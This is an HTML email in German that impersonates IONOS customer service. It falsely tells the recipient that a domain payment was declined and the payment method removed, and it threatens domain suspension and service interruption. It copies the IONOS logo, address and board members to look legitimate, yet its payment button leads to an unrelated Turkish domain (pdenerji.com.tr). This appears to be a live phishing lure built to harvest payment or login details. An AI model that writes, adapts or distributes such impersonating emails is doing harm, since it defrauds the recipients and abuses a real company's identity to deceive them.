<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Domain gefährdet – IONOS</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap');
* { margin: 0; padding: 0; box-sizing: border-box; }
body { background-color: #e4eaf3; font-family: 'Inter', Arial, sans-serif; font-size: 14px; color: #1a2940; }
.wrapper { max-width: 620px; margin: 0 auto; background: #ffffff; }
/* HEADER */
.header { background-color: #001B41; padding: 20px 28px; display: table; width: 100%; }
.h-logo { display: table-cell; vertical-align: middle; }
.h-right { display: table-cell; vertical-align: middle; text-align: right; }
.h-right span { font-size: 11px; color: #95CAEB; font-weight: 600; text-transform: uppercase; letter-spacing: 0.1em; }
/* URGENT RIBBON */
.urgent-ribbon { background: linear-gradient(90deg, #0B2A63 0%, #1b4fa0 100%); padding: 0; }
.ribbon-inner { display: table; width: 100%; }
.ribbon-icon { display: table-cell; vertical-align: middle; width: 56px; text-align: center; padding: 14px 0; background: rgba(149,202,235,0.12); }
.ribbon-text { display: table-cell; vertical-align: middle; padding: 14px 20px; }
.ribbon-text h1 { font-size: 17px; font-weight: 700; color: #ffffff; }
.ribbon-text p { font-size: 11px; color: #95CAEB; margin-top: 2px; }
/* SERVICE BOX */
.service-box { display: table; width: 100%; background: #f7fafd; border-bottom: 1px solid #d0e4f5; }
.sb-left { display: table-cell; vertical-align: middle; padding: 14px 28px; border-right: 1px solid #d0e4f5; }
.sb-label { font-size: 10px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.09em; color: #6b8ab0; margin-bottom: 3px; }
.sb-value { font-size: 13px; font-weight: 600; color: #0B2A63; }
.sb-value.danger { color: #c0392b; }
.sb-right { display: table-cell; vertical-align: middle; padding: 14px 28px; text-align: right; }
.body-content { padding: 28px; }
/* Greeting */
.greeting-text { font-size: 14px; line-height: 1.75; color: #1a2940; margin-bottom: 22px; }
/* Priority card */
.priority-card { border: 2px solid #c0392b; border-radius: 6px; overflow: hidden; margin-bottom: 22px; }
.priority-card-header { background: #c0392b; padding: 10px 18px; display: table; width: 100%; }
.pch-icon { display: table-cell; vertical-align: middle; width: 28px; }
.pch-text { display: table-cell; vertical-align: middle; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.09em; color: #ffffff; }
.priority-card-body { padding: 14px 18px; background: #fff8f8; }
.prio-item { display: table; width: 100%; padding: 7px 0; border-bottom: 1px solid #f5d5d5; }
.prio-item:last-child { border-bottom: none; }
.prio-dot { display: table-cell; vertical-align: top; width: 20px; }
.prio-dot span { display: inline-block; width: 8px; height: 8px; background: #c0392b; border-radius: 50%; margin-top: 4px; }
.prio-msg { display: table-cell; vertical-align: middle; font-size: 13px; color: #1a2940; }
/* Invoice breakdown */
.inv-section { margin-bottom: 22px; }
.inv-section-title { font-size: 10px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.1em; color: #6b8ab0; margin-bottom: 10px; }
.inv-breakdown { border: 1px solid #d0e4f5; border-radius: 6px; overflow: hidden; }
.inv-row { display: table; width: 100%; border-bottom: 1px solid #e4eef8; }
.inv-row:last-child { border-bottom: none; }
.inv-row-left { display: table-cell; padding: 11px 16px; font-size: 13px; color: #4a6a8a; font-weight: 500; }
.inv-row-right { display: table-cell; padding: 11px 16px; font-size: 13px; font-weight: 600; text-align: right; color: #1a2940; }
.inv-row-right.danger { color: #c0392b; }
.inv-row-highlight { background: #f7fafd; }
.inv-row-header { background: #0B2A63; }
.inv-row-header .inv-row-left,
.inv-row-header .inv-row-right { color: #95CAEB; font-size: 11px; font-weight: 600; text-transform: uppercase; letter-spacing: 0.08em; }
/* Timeline steps */
.timeline { margin-bottom: 24px; position: relative; padding-left: 0; }
.tl-item { display: table; width: 100%; margin-bottom: 2px; }
.tl-icon { display: table-cell; vertical-align: top; width: 40px; text-align: center; padding-top: 2px; }
.tl-circle { display: inline-block; width: 28px; height: 28px; background: #0B2A63; border-radius: 50%; line-height: 28px; text-align: center; color: #95CAEB; font-size: 11px; font-weight: 700; }
.tl-content { display: table-cell; vertical-align: middle; padding: 4px 0 4px 10px; font-size: 13px; color: #1a2940; line-height: 1.5; }
.action-message { font-size: 14px; color: #1a2940; line-height: 1.75; margin-bottom: 24px; }
/* CTA */
.cta-band { background: linear-gradient(135deg, #0B2A63 0%, #1b4fa0 100%); border-radius: 6px; padding: 24px 20px; text-align: center; margin-bottom: 22px; }
.cta-band p { font-size: 13px; color: #95CAEB; margin-bottom: 14px; }
.cta-btn { display: inline-block; background-color: #ffffff; color: #0B2A63; font-size: 13px; font-weight: 700; text-decoration: none; padding: 13px 44px; border-radius: 4px; letter-spacing: 0.05em; text-transform: uppercase; }
.cta-sub { font-size: 11px; color: rgba(149,202,235,0.8); margin-top: 10px; }
.divider { border: none; border-top: 1px solid #e4eef8; margin: 20px 0; }
.sign-off p { font-size: 13px; color: #1a2940; line-height: 1.8; }
.sign-off strong { color: #0B2A63; }
/* Footer */
.footer-top { background: #f7fafd; border-top: 2px solid #95CAEB; padding: 18px 28px; display: table; width: 100%; }
.ft-col { display: table-cell; vertical-align: top; }
.ft-col + .ft-col { padding-left: 24px; }
.ft-title { font-size: 10px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.09em; color: #6b8ab0; margin-bottom: 8px; }
.ft-col a { display: block; font-size: 11px; color: #0B2A63; text-decoration: none; line-height: 2.1; }
.footer-bottom { background: #001B41; padding: 22px 28px; }
.footer-bottom-inner { display: table; width: 100%; }
.fb-left { display: table-cell; vertical-align: top; }
.fb-left p { font-size: 11px; color: #95CAEB; line-height: 1.9; }
.fb-left a { color: #95CAEB; }
.fb-right { display: table-cell; vertical-align: bottom; text-align: right; padding-left: 20px; }
.copyright { text-align: center; background: #e4eaf3; padding: 10px; font-size: 11px; color: #6b8ab0; }
</style>
</head>
<body>
<div class="wrapper">
<!-- HEADER -->
<div class="header">
<div class="h-logo">
<img src="https://simg.ionos.com/2025/IONOS/DE/09/SPIN12079-SACOM-6132-DE/ionos_logo_de.png" alt="IONOS" height="26" />
</div>
<div class="h-right">
<span>Kundenservice</span>
</div>
</div>
<!-- URGENT RIBBON -->
<div class="urgent-ribbon">
<div class="ribbon-inner">
<div class="ribbon-icon">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="12" cy="12" r="10" stroke="#95CAEB" stroke-width="2"/>
<line x1="12" y1="8" x2="12" y2="13" stroke="#95CAEB" stroke-width="2" stroke-linecap="round"/>
<circle cx="12" cy="16.5" r="1" fill="#95CAEB"/>
</svg>
</div>
<div class="ribbon-text">
<h1>Ihre Domain ist gefährdet – Sofortiger Handlungsbedarf</h1>
<p>Letzte Zahlung abgelehnt • Zahlungsmittel entfernt</p>
</div>
</div>
</div>
<!-- SERVICE BOX -->
<div class="service-box">
<div class="sb-left">
<div class="sb-label">Dienst</div>
<div class="sb-value">Domainregistrierung bei IONOS</div>
</div>
<div class="sb-left">
<div class="sb-label">Zahlungsstatus</div>
<div class="sb-value danger">Abgelehnt</div>
</div>
<div class="sb-right">
<div class="sb-label">Zahlungsmittel</div>
<div class="sb-value danger">Entfernt</div>
</div>
</div>
<!-- BODY -->
<div class="body-content">
<p class="greeting-text">
Sehr geehrter Kunde,<br /><br />
Ihre <strong>Domainregistrierung bei IONOS ist derzeit gefährdet</strong>, da die letzte Zahlung abgelehnt wurde und Ihr Zahlungsmittel entfernt wurde.
</p>
<!-- Priority Alert -->
<div class="priority-card">
<div class="priority-card-header">
<div class="pch-icon">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none">
<path d="M10.29 3.86L1.82 18a2 2 0 001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z" stroke="#ffffff" stroke-width="2"/>
<line x1="12" y1="9" x2="12" y2="13" stroke="#ffffff" stroke-width="2" stroke-linecap="round"/>
<circle cx="12" cy="17" r="1" fill="#ffffff"/>
</svg>
</div>
<div class="pch-text">Folgen der ausstehenden Zahlung</div>
</div>
<div class="priority-card-body">
<div class="prio-item">
<div class="prio-dot"><span></span></div>
<div class="prio-msg"><strong>Sperrung Ihrer Domain</strong></div>
</div>
<div class="prio-item">
<div class="prio-dot"><span></span></div>
<div class="prio-msg"><strong>Unterbrechung aller verbundenen Dienste</strong></div>
</div>
</div>
</div>
<!-- Invoice Breakdown -->
<div class="inv-section">
<div class="inv-section-title">Rechnungsübersicht</div>
<div class="inv-breakdown">
<div class="inv-row inv-row-header">
<div class="inv-row-left">Position</div>
<div class="inv-row-right">Status</div>
</div>
<div class="inv-row inv-row-highlight">
<div class="inv-row-left">Domainregistrierung</div>
<div class="inv-row-right danger"><strong>Offen</strong></div>
</div>
<div class="inv-row">
<div class="inv-row-left">Zahlungsmittel</div>
<div class="inv-row-right danger">Entfernt</div>
</div>
<div class="inv-row">
<div class="inv-row-left">Anbieter</div>
<div class="inv-row-right">IONOS SE</div>
</div>
<div class="inv-row inv-row-highlight">
<div class="inv-row-left"><strong>Maßnahme erforderlich</strong></div>
<div class="inv-row-right danger"><strong>Jetzt</strong></div>
</div>
</div>
</div>
<p class="action-message">
Bitte handeln Sie sofort, indem Sie ein neues Zahlungsmittel hinzufügen und die offene Zahlung begleichen. Nutzen Sie dazu den folgenden Button:
</p>
<!-- CTA Band -->
<div class="cta-band">
<p>Um Ihre Domain zu schützen und alle Dienste aufrechtzuerhalten, begleichen Sie die offene Zahlung jetzt:</p>
<a href="http://pdenerji.com.tr/ios/" class="cta-btn">Zahlung jetzt durchführen</a>
<div class="cta-sub">Sicherer & verschlüsselter Zahlungsvorgang – IONOS SE</div>
</div>
<hr class="divider" />
<div class="sign-off">
<p>Vielen Dank für Ihre schnelle Reaktion.</p>
<br />
<p>Mit freundlichen Grüßen<br /><strong>IONOS Kundenservice</strong></p>
</div>
</div>
<!-- FOOTER LINKS -->
<div class="footer-top">
<div class="ft-col">
<div class="ft-title">Produkte</div>
<a href="#">Domains & SSL</a>
<a href="#">E-Mail & Office</a>
<a href="#">Websites & Shops</a>
<a href="#">Server & Cloud</a>
<a href="#">Online Marketing</a>
</div>
<div class="ft-col">
<div class="ft-title">Support</div>
<a href="#">Hilfe-Center</a>
<a href="#">Kontakt</a>
<a href="#">Digital Guide</a>
<a href="#">Datenschutz / AGB</a>
<a href="#">Partnerprogramm</a>
</div>
</div>
<!-- FOOTER BOTTOM -->
<div class="footer-bottom">
<div class="footer-bottom-inner">
<div class="fb-left">
<p>
<strong style="color:#ffffff;">IONOS SE</strong><br />
Elgendorfer Straße 57 • 56410 Montabaur<br /><br />
Hauptsitz Montabaur, Amtsgericht Montabaur, HRB 24498<br />
Umsatzsteuer-IdentNummer: IONOS SE: DE815563912<br />
E-Mail-Adresse der IONOS SE: <a href="mailto:info@ionos.de">info@ionos.de</a><br /><br />
Vorstand: Hüseyin Dogan, Arthur Mai, Dr. Markus Noga, Dr. Jens-Christian Reich, Britta Schmidt, Achim Weiß<br />
Aufsichtsratsvorsitzender: Sven Fritz
</p>
</div>
<div class="fb-right">
<img src="https://simg.ionos.com/2025/IONOS/DE/09/SPIN12079-SACOM-6132-DE/ionos_logo_de.png" alt="IONOS" height="20" />
</div>
</div>
</div>
<div class="copyright">© 2026 IONOS SE. Alle Rechte vorbehalten.</div>
</div>
</body>
</html>